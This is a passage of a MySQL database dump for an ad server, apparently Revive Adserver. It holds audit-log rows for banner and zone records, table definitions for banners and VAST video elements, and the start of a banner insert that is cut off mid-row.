08:26:29',2,3,NULL),(237,1,'banners',17,NULL,'a:44:{s:8:\"bannerid\";i:17;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:4:\"jpeg\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"523816fbe83e954d98d27e8f8f0cb259.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:200;s:6:\"height\";i:285;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:7:\"Mobile2\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:26:42\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:7:\"Mobile2\";}',1,'admin',0,'2014-09-17 08:26:42',2,3,NULL),(238,1,'ad_zone_assoc',17,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:17;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:17;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:17:\"Ad #17 -> Zone #0\";}',1,'admin',0,'2014-09-17 08:26:42',2,3,NULL),(239,1,'banners',18,NULL,'a:44:{s:8:\"bannerid\";i:18;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:4:\"jpeg\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"d1a2d676a1fcc0d1261afbb31d12429b.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:200;s:6:\"height\";i:285;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:7:\"Mobile3\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:26:56\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:7:\"Mobile3\";}',1,'admin',0,'2014-09-17 08:26:56',2,3,NULL),(240,1,'ad_zone_assoc',18,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:18;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:18;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:17:\"Ad #18 -> Zone #0\";}',1,'admin',0,'2014-09-17 08:26:56',2,3,NULL),(241,1,'banners',19,NULL,'a:44:{s:8:\"bannerid\";i:19;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:4:\"jpeg\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"ffe263d6b431ae023d41be6de78dbe94.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:200;s:6:\"height\";i:285;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:7:\"Mobile4\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:27:10\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:7:\"Mobile4\";}',1,'admin',0,'2014-09-17 08:27:10',2,3,NULL),(242,1,'ad_zone_assoc',19,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:19;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:19;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:17:\"Ad #19 -> Zone #0\";}',1,'admin',0,'2014-09-17 08:27:10',2,3,NULL),(243,1,'banners',20,NULL,'a:44:{s:8:\"bannerid\";i:20;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:4:\"jpeg\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"04ff515ffd41bfe82985b4263259fe7e.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:200;s:6:\"height\";i:285;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:7:\"Mobile5\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:27:26\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:7:\"Mobile5\";}',1,'admin',0,'2014-09-17 08:27:26',2,3,NULL),(244,1,'ad_zone_assoc',20,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:20;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:20;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:17:\"Ad #20 -> Zone #0\";}',1,'admin',0,'2014-09-17 08:27:26',2,3,NULL),(245,1,'banners',21,NULL,'a:44:{s:8:\"bannerid\";i:21;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:4:\"jpeg\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"f47b0fd65aa8b0e82e602be7b88039ba.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:200;s:6:\"height\";i:268;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:7:\"Mobile6\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:27:46\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:7:\"Mobile6\";}',1,'admin',0,'2014-09-17 08:27:46',2,3,NULL),(246,1,'ad_zone_assoc',21,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:21;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:21;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:17:\"Ad #21 -> Zone #0\";}',1,'admin',0,'2014-09-17 08:27:46',2,3,NULL),(247,1,'banners',22,NULL,'a:44:{s:8:\"bannerid\";i:22;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:4:\"jpeg\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"eeb1670a6b0a6d7422459ddb7bbedfe0.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:250;s:6:\"height\";i:173;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:5:\"Shoe1\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:28:01\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:5:\"Shoe1\";}',1,'admin',0,'2014-09-17 08:28:01',2,3,NULL),(248,1,'ad_zone_assoc',22,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:22;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:22;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:17:\"Ad #22 -> Zone #0\";}',1,'admin',0,'2014-09-17 08:28:01',2,3,NULL),(249,1,'banners',23,NULL,'a:44:{s:8:\"bannerid\";i:23;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:4:\"jpeg\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"c26d1157be9f8d35e97ed45e9389acc4.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:250;s:6:\"height\";i:173;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:5:\"Shoe2\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:28:13\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:5:\"Shoe2\";}',1,'admin',0,'2014-09-17 08:28:13',2,3,NULL),(250,1,'ad_zone_assoc',23,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:23;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:23;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:17:\"Ad #23 -> Zone #0\";}',1,'admin',0,'2014-09-17 08:28:13',2,3,NULL),(251,1,'banners',24,NULL,'a:44:{s:8:\"bannerid\";i:24;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:4:\"jpeg\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"45491213e773c55b5fdf092c651656d8.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:250;s:6:\"height\";i:173;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:5:\"Shoe3\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:28:25\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:5:\"Shoe3\";}',1,'admin',0,'2014-09-17 08:28:25',2,3,NULL),(252,1,'ad_zone_assoc',24,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:24;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:24;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:17:\"Ad #24 -> Zone #0\";}',1,'admin',0,'2014-09-17 08:28:25',2,3,NULL),(253,1,'banners',25,NULL,'a:44:{s:8:\"bannerid\";i:25;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:4:\"jpeg\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"2929d8e29b2227a4e170d6a9629b9eba.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:250;s:6:\"height\";i:173;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:5:\"Shoe4\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:28:36\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:5:\"Shoe4\";}',1,'admin',0,'2014-09-17 08:28:36',2,3,NULL),(254,1,'ad_zone_assoc',25,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:25;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:25;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:17:\"Ad #25 -> Zone #0\";}',1,'admin',0,'2014-09-17 08:28:36',2,3,NULL),(255,1,'banners',26,NULL,'a:44:{s:8:\"bannerid\";i:26;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:4:\"jpeg\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"05f0078dcf2ce9a5ed890368a61380d6.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:250;s:6:\"height\";i:173;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:5:\"Shoe5\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:28:48\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:5:\"Shoe5\";}',1,'admin',0,'2014-09-17 08:28:48',2,3,NULL),(256,1,'ad_zone_assoc',26,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:26;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:26;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:17:\"Ad #26 -> Zone #0\";}',1,'admin',0,'2014-09-17 08:28:48',2,3,NULL),(257,1,'banners',27,NULL,'a:44:{s:8:\"bannerid\";i:27;s:10:\"campaignid\";i:1;s:11:\"contenttype\";s:4:\"jpeg\";s:13:\"pluginversion\";i:0;s:11:\"storagetype\";s:3:\"web\";s:8:\"filename\";s:36:\"388862b3843567b1282a99790428df7d.jpg\";s:8:\"imageurl\";s:0:\"\";s:12:\"htmltemplate\";s:0:\"\";s:9:\"htmlcache\";s:0:\"\";s:5:\"width\";i:250;s:6:\"height\";i:173;s:6:\"weight\";i:1;s:3:\"seq\";i:0;s:6:\"target\";s:0:\"\";s:3:\"url\";s:0:\"\";s:3:\"alt\";s:0:\"\";s:10:\"statustext\";s:0:\"\";s:10:\"bannertext\";s:0:\"\";s:11:\"description\";s:5:\"Shoe6\";s:8:\"adserver\";s:0:\"\";s:5:\"block\";i:0;s:7:\"capping\";i:0;s:15:\"session_capping\";i:0;s:18:\"compiledlimitation\";s:4:\"null\";s:11:\"acl_plugins\";s:4:\"null\";s:6:\"append\";s:4:\"null\";s:10:\"bannertype\";i:0;s:12:\"alt_filename\";s:0:\"\";s:12:\"alt_imageurl\";s:0:\"\";s:15:\"alt_contenttype\";s:0:\"\";s:8:\"comments\";s:0:\"\";s:7:\"updated\";s:19:\"2014-09-17 08:29:00\";s:12:\"acls_updated\";s:4:\"null\";s:7:\"keyword\";s:0:\"\";s:11:\"transparent\";s:4:\"null\";s:10:\"parameters\";s:2:\"N;\";s:12:\"an_banner_id\";i:0;s:12:\"as_banner_id\";i:0;s:6:\"status\";i:0;s:16:\"ad_direct_status\";i:0;s:29:\"ad_direct_rejection_reason_id\";i:0;s:14:\"ext_bannertype\";s:4:\"null\";s:7:\"prepend\";s:4:\"null\";s:8:\"key_desc\";s:5:\"Shoe6\";}',1,'admin',0,'2014-09-17 08:29:00',2,3,NULL),(258,1,'ad_zone_assoc',27,NULL,'a:8:{s:16:\"ad_zone_assoc_id\";i:27;s:7:\"zone_id\";i:0;s:5:\"ad_id\";i:27;s:8:\"priority\";i:0;s:9:\"link_type\";i:0;s:15:\"priority_factor\";i:1;s:15:\"to_be_delivered\";s:4:\"null\";s:8:\"key_desc\";s:17:\"Ad #27 -> Zone #0\";}',1,'admin',0,'2014-09-17 08:29:00',2,3,NULL); +/*!40000 ALTER TABLE `rv_audit` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_banner_vast_element` +-- + +DROP TABLE IF EXISTS `rv_banner_vast_element`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_banner_vast_element` ( + `banner_vast_element_id` mediumint(9) NOT NULL, + `banner_id` mediumint(9) NOT NULL, + `vast_element_type` varchar(16) NOT NULL DEFAULT '', + `vast_video_id` varchar(100) DEFAULT NULL, + `vast_video_duration` mediumint(9) DEFAULT NULL, + `vast_video_delivery` varchar(20) DEFAULT NULL, + `vast_video_type` varchar(20) DEFAULT NULL, + `vast_video_bitrate` varchar(20) DEFAULT NULL, + `vast_video_height` mediumint(9) DEFAULT NULL, + `vast_video_width` mediumint(9) DEFAULT NULL, + `vast_video_outgoing_filename` text, + `vast_companion_banner_id` mediumint(9) DEFAULT NULL, + `vast_overlay_height` mediumint(9) DEFAULT NULL, + `vast_overlay_width` mediumint(9) DEFAULT NULL, + `vast_video_clickthrough_url` text, + `vast_overlay_action` varchar(20) DEFAULT NULL, + `vast_overlay_format` varchar(20) DEFAULT NULL, + `vast_overlay_text_title` text, + `vast_overlay_text_description` text, + `vast_overlay_text_call` text, + `vast_creative_type` varchar(20) DEFAULT NULL, + `vast_thirdparty_impression` text, + KEY `rv_banner_vast_element_banner_vast_banner_vast_element_id` (`banner_vast_element_id`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_banner_vast_element` +-- + +LOCK TABLES `rv_banner_vast_element` WRITE; +/*!40000 ALTER TABLE `rv_banner_vast_element` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_banner_vast_element` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_banners` +-- + +DROP TABLE IF EXISTS `rv_banners`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_banners` ( + `bannerid` mediumint(9) NOT NULL AUTO_INCREMENT, + `campaignid` mediumint(9) NOT NULL DEFAULT '0', + `contenttype` enum('gif','jpeg','png','html','swf','dcr','rpm','mov','txt') NOT NULL DEFAULT 'gif', + `pluginversion` mediumint(9) NOT NULL DEFAULT '0', + `storagetype` enum('sql','web','url','html','network','txt') NOT NULL DEFAULT 'sql', + `filename` varchar(255) NOT NULL DEFAULT '', + `imageurl` varchar(255) NOT NULL DEFAULT '', + `htmltemplate` text NOT NULL, + `htmlcache` text NOT NULL, + `width` smallint(6) NOT NULL DEFAULT '0', + `height` smallint(6) NOT NULL DEFAULT '0', + `weight` tinyint(4) NOT NULL DEFAULT '1', + `seq` tinyint(4) NOT NULL DEFAULT '0', + `target` varchar(16) NOT NULL DEFAULT '', + `url` text NOT NULL, + `alt` varchar(255) NOT NULL DEFAULT '', + `statustext` varchar(255) NOT NULL DEFAULT '', + `bannertext` text NOT NULL, + `description` varchar(255) NOT NULL DEFAULT '', + `adserver` varchar(255) NOT NULL DEFAULT '', + `block` int(11) NOT NULL DEFAULT '0', + `capping` int(11) NOT NULL DEFAULT '0', + `session_capping` int(11) NOT NULL DEFAULT '0', + `compiledlimitation` text NOT NULL, + `acl_plugins` text, + `append` text NOT NULL, + `bannertype` tinyint(4) NOT NULL DEFAULT '0', + `alt_filename` varchar(255) NOT NULL DEFAULT '', + `alt_imageurl` varchar(255) NOT NULL DEFAULT '', + `alt_contenttype` enum('gif','jpeg','png') NOT NULL DEFAULT 'gif', + `comments` text, + `updated` datetime NOT NULL, + `acls_updated` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', + `keyword` varchar(255) NOT NULL DEFAULT '', + `transparent` tinyint(1) NOT NULL DEFAULT '0', + `parameters` text, + `an_banner_id` int(11) DEFAULT NULL, + `as_banner_id` int(11) DEFAULT NULL, + `status` int(11) NOT NULL DEFAULT '0', + `ad_direct_status` tinyint(4) NOT NULL DEFAULT '0', + `ad_direct_rejection_reason_id` tinyint(4) NOT NULL DEFAULT '0', + `ext_bannertype` varchar(255) DEFAULT NULL, + `prepend` text NOT NULL, + PRIMARY KEY (`bannerid`), + KEY `rv_banners_campaignid` (`campaignid`) +) ENGINE=MyISAM AUTO_INCREMENT=28 DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_banners` +-- + +LOCK TABLES `rv_banners` WRITE; +/*!40000 ALTER TABLE `rv_banners` DISABLE KEYS */; +INSERT INTO `rv_banners` VALUES (1,1,'jpeg',0,'web','2256ef0a5e9d26cec4aea2bbbdf87511.jpg','','','',1920,1080,1,0,'','','','','','sample1','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 